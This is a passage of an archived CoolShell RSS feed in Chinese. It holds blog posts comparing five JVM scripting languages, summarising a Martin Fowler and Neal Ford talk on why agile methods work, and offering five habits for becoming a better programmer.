href=\"http://www.infoworld.com/d/developer-world/top-five-scripting-languages-the-jvm-855?page=0,3#jvm4\"></a></p>\n<p>下面是一张表格比较了这五大JVM脚本语言：</p>\n<p><span id=\"more-2631\"></span></p>\n<table border=\"0\" align=\"center\">\n<tbody>\n<tr>\n<th></th>\n<th><a href=\"http://groovy.codehaus.org/\" target=\"_blank\"><strong>Groovy</strong></a></th>\n<th><a href=\"http://jruby.org/\" target=\"_blank\"><strong>JRuby</strong></a></th>\n<th><a href=\"http://www.scala-lang.org/\" target=\"_blank\"><strong>Scala</strong></a></th>\n<th><a href=\"http://fantom.org/\" target=\"_blank\"><strong>Fantom</strong></a></th>\n<th><a href=\"http://www.jython.org/\" target=\"_blank\"><strong>Jython</strong></a></th>\n</tr>\n<tr>\n<td><strong>风格类型</strong></td>\n<td>OO / 动态</td>\n<td>OO / 动态</td>\n<td>OO, 过程/ 静态</td>\n<td>OO / 静态</td>\n<td>OO / 动态</td>\n</tr>\n<tr>\n<td><strong>源语言</strong></td>\n<td>Java</td>\n<td>Ruby</td>\n<td>N/A</td>\n<td>N/A</td>\n<td>Python</td>\n</tr>\n<tr>\n<td><strong>运行</strong></td>\n<td>编译型</td>\n<td>编译型,<br />\n解释型</td>\n<td>编译型</td>\n<td>半编译型</td>\n<td>编译型</td>\n</tr>\n<tr>\n<td><strong>平台</strong></td>\n<td>JVM</td>\n<td>JVM</td>\n<td>JVM</td>\n<td>JVM, .Net CLR</td>\n<td>JVM</td>\n</tr>\n<tr>\n<td><strong>Java集成</strong></td>\n<td>极好</td>\n<td>极好</td>\n<td>极好</td>\n<td>好</td>\n<td>极好</td>\n</tr>\n<tr>\n<td><strong>运行速度</strong></td>\n<td>好</td>\n<td>好</td>\n<td>极好</td>\n<td>很好</td>\n<td>慢</td>\n</tr>\n<tr>\n<td><strong>工具支持</strong></td>\n<td>广泛</td>\n<td>还可以</td>\n<td>广泛</td>\n<td>几乎没有</td>\n<td>几乎没有</td>\n</tr>\n</tbody>\n</table>\n<p>其它一些JVM的脚本语言也我们可以关注一下，如：<a href=\"http://clojure.org/\" target=\"_blank\"><strong>Clojure</strong></a>, <a href=\"http://javafx.com/\" target=\"_blank\"><strong>JavaFX</strong></a>, 和IBM的 <a href=\"http://www.ibm.com/software/awdtools/netrexx/\" target=\"_blank\"><strong>NetRexx</strong></a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2631.html\">五大基于JVM的脚本语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2631.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>16</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>为什么敏捷方法能在软件开发中行之有效？</title>\n\t\t<link>https://coolshell.cn/articles/2622.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2622.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Sun, 18 Jul 2010 02:28:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[敏捷方法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2622</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>文章来源 &#8211; Martin Fowler 和 Neal Ford 在 Paris &#8211; USI 2010 的演讲 有很多的书籍讨论敏捷方法...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2622.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2622.html\">为什么敏捷方法能在软件开发中行之有效？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><em><a href=\"http://universite-du-si.com/en/conferences/6/sessions/909\">文章来源 &#8211; Martin Fowler 和 Neal Ford 在 Paris &#8211; USI 2010 的演讲</a></em></p>\n<p>有很多的书籍讨论敏捷方法是怎样工作的（How it works？），在这个主题演讲中，Martin Fowler 和他的同事 Neal Ford 讨论了敏捷方法能够在软件开发项目中行之有效的原因（Why it works？）。作为敏捷方法的发起人和传道者，Martin Fowler 和 ThoughtWorks 一直试图从理论层面证明敏捷方法的可行性，同时不厌其烦地解答着客户们的各种困惑，正如他们所说，敏捷方法中的很多概念不是特别的直观，除非人们真正实践过一段时间，否则有些概念很难从字面上去完全理解。</p>\n<p>Martin Fowler 谈到一个有意思的现象，那就是今天许多人们口中谈论的敏捷方法，和最初的敏捷方法大相径庭，他把这种现象称为“语义扩散（Semantic Diffusion）”，大意是某种思想在传播的过程中，在逐渐扩散的同时，其语义也渐渐变得模糊。在敏捷开发领域里，“语义扩散”导致的一个问题是，在一些使用敏捷方法的项目或者公司中，我们甚至无法辨别出敏捷方法的影子，原因是很多人没有真正地理解敏捷方法，也就不能够正确地运用和实践，从而也就无法真正了解自己是否能够从敏捷方法中获益。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-2653 aligncenter\" title=\"Martin Flower\" src=\"https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1-300x94.jpg\" alt=\"\" width=\"300\" height=\"94\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1-300x94.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1-768x241.jpg 768w, https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1-604x190.jpg 604w, https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1.jpg 885w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a></p>\n<p>以下是为什么敏捷方法行之有效的原因：</p>\n<p><span id=\"more-2622\"></span></p>\n<h4><span style=\"color: #000000;\"><strong>1. 敏捷方法和传统的计划驱动方法的两个主要区别</strong></span></h4>\n<p>i. 预测性计划（Predictive Planning）和自适应计划（Adaptive Planning）</p>\n<p>计划驱动方法首先计划要做的工作（plan your work），然后着手工作以完成计划（work your plan）。这是一种带有预测性质的方法，其衡量项目成功的标准则是我们是否按计划、按时、按预算完成了工作。这种方法在很多领域里是适用的。但是对于软件开发而言，如果我们的需求没有办法做到不变更的话，我们就无法保证我们的计划以及其后的工作是不会变更的。Martin Fowler 向现场观众提出了一个问题，大意是你们当中有多少人的软件开发项目的需求是一成不变的，结果没有一位观众举手。因此，敏捷方法引入了自适应计划的概念，既然我们无法保证需求不变更，那么就让我们随时准备接受变更，接受挑战吧。自适应计划将计划驱动的流程缩短为以数周为单位的循环周期，在每一个周期中，我们根据当前的情况不断地调整计划以及计划的执行过程，同时不断地产生能够工作的代码，并且不断地将代码部署到应用环境中去。当然要实现这个目标我们需要一些具体方法的支持，如：自测试代码（Self-Testing Code），持续集成（Continuous Integration），重构（Refactoring），和简洁设计（Simple Design）等等这些技术层面上的方法。Martin Fowler 指出，一些公司和项目之所以受困于敏捷方法，原因之一是他们忽略了这些技术层面的方法，而仅仅实施了项目管理层面的方法。</p>\n<p>ii. 以流程为本（Process First）和以人为本（People First）</p>\n<p>在传统的方法论中，我们总是需要事先定义好工作的方法和流程，然后“工人们”被要求遵照这些方法和流程来工作。在软件开发领域，很多人把软件开发过程等同于软件本身，也就是说，软件开发的过程也如同软件程序般象机器一样运行，组件之间环环相扣，严密地协同工作。问题是软件开发的核心是人，人相对于机器零件和流水线而言，是相对不可预测的和不那么精密的。所以敏捷方法反其道而行之，提倡将“首先定义流程，然后要求软件开发人员遵照流程工作”变为“让参与软件开发的人员自己来定义和选择适合他们的流程”。简单来说就是以人为本，不把人当螺丝钉，发挥人的主观能动性，当然前提是需要团队成员有较高的平均素质。</p>\n<h4><span style=\"color: #000000;\">2. 沟通（Communication）</span></h4>\n<p>Neal Ford 让我们回顾或想象一下失败的软件开发项目，它们的失败是由于技术因素还是人的因素呢？《人件》的作者认为都是人的因素。人类的社会性决定了沟通的重要。Neal 举了几个有趣的例子，如：监狱里的犯人宁愿和其他人渣待在一起也不愿被关禁闭。很多国家禁止驾驶员驾驶时打移动电话，那为什么和乘客聊天就没有问题呢？原因是直接对话是最为有效和便捷的沟通方式，信息的传递在对话过程中非常顺畅和完整。虽然现在的移动通讯已经非常先进，信号质量也很高，但是我们的通话过程仍然是有损的，我们的大脑这个时候就需要努力地试图将通话信息拼凑得更完整以便能够理解对方的意思，因此才会分散驾驶的注意力。随后，Martin Fowler 举了另一个例子，拿他做水果蛋糕的方法和他在酒店的浴室中冲凉的方法来进行比较。因为做水果蛋糕的整个流程和配料都是非常固定的，所以他只需要按步照搬地烹饪即可做出味道非常一致（地好或者差）的水果蛋糕。而在酒店中冲凉就有些不同，因为每一个酒店浴室的开关设计几乎都是不一样的，所以他需要不断地调整开关来获得一个理想的水温，也就是需要不断地重复“调整开关”（输入），“用手试温”（输出）这个过程。相对于做水果蛋糕，在酒店浴室冲凉更好地反应了软件开发的特征，这就是在软件开发领域中，如果我们善于根据用户反馈的信息来做出新的判断和调整，就有可能提高产品的质量和用户的满意度。</p>\n<p>沟通的确是一个非常重要的环节，它是敏捷方法的核心。在敏捷方法中，单元测试是程序员和代码组件的沟通，功能测试是程序员以及QA和系统的沟通，故事墙（Story Wall）和回顾（Retrospective）是团队和成员之间的沟通，功能演示（Showcase 或者 Demo）是团队通过产品和最终用户的沟通，持续集成（Continuous Integration）是产品和企业计算环境的沟通。沟通好了，什么事情都可以妥善解决，沟通得不好，好事也会变坏事。和广大技术爱好者交流沟通也是酷壳存在的目的和意义。</p>\n<p>整个演讲时长一个小时，本文只是节选了我认为比较有意思的观点加上本人的理解写成，如有错误之处欢迎指正，不同看法欢迎交流。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" alt=\"持续部署，并不简单！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_title\">持续部署，并不简单！</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5625.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"“品质在于构建过程”吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5625.html\" class=\"wp_rp_title\">“品质在于构建过程”吗？</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/5044.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/hat-150x150.jpeg\" alt=\"为什么Scrum不行？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5044.html\" class=\"wp_rp_title\">为什么Scrum不行？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2622.html\">为什么敏捷方法能在软件开发中行之有效？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2622.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-28.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 28 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=28\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Mon, 11 Apr 2011 00:06:00 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>五个方法成为更好的程序员</title>\n\t\t<link>https://coolshell.cn/articles/2606.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2606.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 14 Jul 2010 23:53:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2606</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>对我来说，一个好的程序员应该是努力去追求尽可能无错的高质量的符合需求的代码实现。 一些人也许认为好的程序员是那些懂得多门编程语言，懂得很牛技术的程序员，是的，这...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2606.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2606.html\">五个方法成为更好的程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>对我来说，一个好的程序员应该是努力去追求尽可能无错的高质量的符合需求的代码实现。 一些人也许认为好的程序员是那些懂得多门编程语言，懂得很牛技术的程序员，是的，这在某些情况下是对的。但归根到底，无论你用什么样的技术，什么样的语言，所有的程序被写出来，其功能都要符合需求以及尽可能地健壮无错和高质量。  我们可以想像一下，如果一个能力普通的程序员有足够多的时间来做测试，那么，其也可以保证他的代码的质量。所以，有一种观点这样认为——要达到质量高的代码只需要有足够多的时间来做测试。这对于以结果为导向的商业软件开发中是可以理解的（我们可以看到那些制汽车的产商在汽车测试上花费的精力和时间就可以明白这一道理）。</p>\n<p>但是，很明显，所有的已经开发出来项目都是在不完美的条件下开发出来的，一般来说，几乎所有的项目都是在最大化程序员软件的开发速度。而且，很多情况下，我们似乎对深度测试和压力测试并不是很关心，所以，我们总是在祈祷并期望那些赶工出来的代码可以正常工作，尤其是在上线的时候，这种唯心主义的价值观更为强烈。  其实，开发速度和软件产品质量并不矛盾。<span style=\"color: #008000;\"><strong>好的程序员并一定是技术强的程序员，而是那些可以在不完美的工作环境下保证软件质量和工作效率的程序员</strong></span>。下面是是五个程序员可以在这种不完美的情况下做得更好的观点（它们都和语言和技术没什么关系，只不过是一种你的工作行为，能够和所有的行业相通），这五个观点也许可以让你成为这样的好程序员。</p>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>寻找不同观点：</strong>程序员好像并不喜欢技术上有异见的人，他们特别喜欢争论各自的技术观点。但是，他们忽略了不同观点的价值。任何事情都有好有坏，我们应该学会在不同观点中学习和平衡。这样才会更多的了解编程和技术。要经常在做事之前问自己和别人，这么做对不对？做完事后问自己，还可不可以改进？努力去寻找别的不同的观点或方法。程序员应该经常上网，经常和同事讨论不同的实现方法，不同的技术观点，这样才能取长补短。然而，在实际工作中，我发现程序员们并不喜欢互相请教，因为请教的人怕别人看不起他，而被请教的人总是先贬低对方的能力，哎……（参看《</span><a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1081.html\">十个让你变成糟糕的程序员的行为</a>》），如果有这样的文化氛围的话，那也没有关系。上网吧，网上的人谁也不认识谁，可以尽情地问一些愚蠢的问题。呵呵。总之，一定要明白，如果某些事情只有一个观点，那么你一定要怀疑一下了，没有观点和技术方案的比较，没有百花齐放的情况，你就无法知道是否还有更好的东西。真正的和谐不是只有一种声音，真正的和谐而是在不同的观点声音下取长补短，百家争鸣（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\">十条不错的编程观点</a>》）。否则，你永远都不会接受到新的观点，也就无法进步和成长了。</li>\n</ul>\n<p><span id=\"more-2606\"></span></p>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>千万别信自己的代码</strong>: 在任何时候，一定要高度怀疑自己的代码。很多时候，错误总是自己造成的。所以，当出现问题的时候，要学会review代码中所有的可疑点，千万别觉得某段代码很简单，可以略过。事实证明，很多疏忽大意都是在阴沟里翻的船，都是那些很低级的错误。在查错的过程中，切忌过早下结论，切忌四处乱改（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">各种流行的编程风格</a>》），停下来，想一想，会是哪儿的代码有重大嫌疑，然后查看一下代码，捋一捋程序的逻辑（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1719.html\">橡皮鸭程序调试法</a>》），调试并验证一下程序的逻辑和变量在运行时是否是正确的。很多时候，对于那些难缠的问题，最后解决了总是因为我们开始认真回头审视所有的代码。只有对自己的代码保持着高度的怀疑，这样我们才会想着如何让其运行得更好更稳定，也会让我们在单元测试中下更多的功夫，这样才能更能在那忙碌的环境中节省时间。相信我，在集成测试中fix bug的成本要比在单元测试Fix bug的成本大得多的多。一个简单的例子就是memory leak。程序员对自己的程序需要有忧患意识，这样才会越来越成熟，而自己的能力也会越来越强。</span></li>\n</ul>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>思考和放松</strong>: 做事前多想一想，这样做事的时候就不会不顾此失彼，手忙脚乱，一旦事情一乱，你的心情也会更乱，于是，事情也就会更乱。最后，你只得重写，这种事情太多了。而且，在工作中要学会享受，要学会放松心情，我并不是让你工作的时候聊QQ，我只是说，有时候，心态过于紧张，压力过大，你的工作成果反而更不好，从而又反过来造成新一轮的焦虑和紧张。我个人认为，<strong>思考和放松是可以完美统一的</strong>，思考其实就是一种放松，停下来，休息一下，回头看看走过的路，喝口水，登个高，看看过去走的对不对？总体是个什么样？总结一下，然后看看前路怎么样好走，这会你才会越走越好，越走越快。好的程序员都不是那种埋头苦干的人，好的程序员总是那些善于总结成败得失，善于思考，善于调整，善于放松的人（参看《<a href=\"https://coolshell.cn/articles/222.html\" target=\"_blank\">优秀程序员的十个习惯</a>》）。不然，我能看到的情形是，你很快地把事干完，回到家刚坐下来，老板或是客户就打电话来告诉你你的程序出问题了。总之，深思熟虑，动作会很慢，但是你可以保证你工作成果的质量，反而能让你更多的节约时间。</span></li>\n</ul>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>学习历史，跟上时代</strong>: 如果你是从十年前开始编程的，那么，今天的这门语言或是技术会有很多很多的改进和改善。你以前开发一个功能或函数，今天早已被集成时了语言中，而且做得比你的版本要好得多。以前你需要100行代码完成的事情，今天只需要1行代码。这样的事情在未来还会发生，所以，今天的你一定要学会如何跟上时代。但是，你也不要放弃历史，我现在看到很多程序员对一些现代的语言和技术使用的非常好，他们可以很容易地跟上时代。但不要忘了，计算机世界的技术更新和技术淘汰也是非常猛的。所以，你一定要学习历史，这些历史不是产商的历史，而是整个计算机文化的历史（参见《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">Unix传奇</a>》）。只有通过历史，你才能明白历史上出现的问题，新技术出来的原因，这样才能够对今天的这些新的技术更了解，也才能明白明天的方向在哪里。学习历史和跟上时代都是相当重要的。使用新型的技术，停下来接受培训，可以让你工作得更快，更高效（参看《</span><a rel=\"bookmark\" href=\"https://coolshell.cn/articles/511.html\" target=\"_blank\">未来五年程序员需要掌握的10项技能</a>》）。而学习和总结历史，才会让你在纷乱的世界中找到方向。</li>\n</ul>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>积极推动测试活动</strong>: 只有测试才能证明软件可以正常工作，只有测试才能保证软件的质量。无论什么产品，都需要经过或多或少的测试。测试地充分的产品或模块，你会发现其质量总是那么好，测试的不充的产品，质量总是那么次。德系汽车，日系汽车质量怎么样，关键还是在于怎么去测试的，测试的是否充分。所以，在你开发软件的过程中，如果你说你的程序写地好，质量高，那么请你拿出实实在在的测试报告。在整个软件开发过程中，做为一个好的程序员，你应该积极地在各个环节推动项目组进行测试活动。不要以为技术需求阶段和设计阶段不需要测试，一样的，只要你要release什么，release的这个东西都需要进行测试。技术需求怎么做测试？用户案例就是测试案例。在软件开发的整个过程中，保证产品质量有时候比实现需求更重要，尤其是那些非常重要甚至人命关天的产品。</span></li>\n</ul>\n<p>上面这些五个观点都是可能让你在不完美的工作环境中可以工作得更好，更快，更高效，希望能够对你有用。另外，也欢迎你留下你的观点！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a 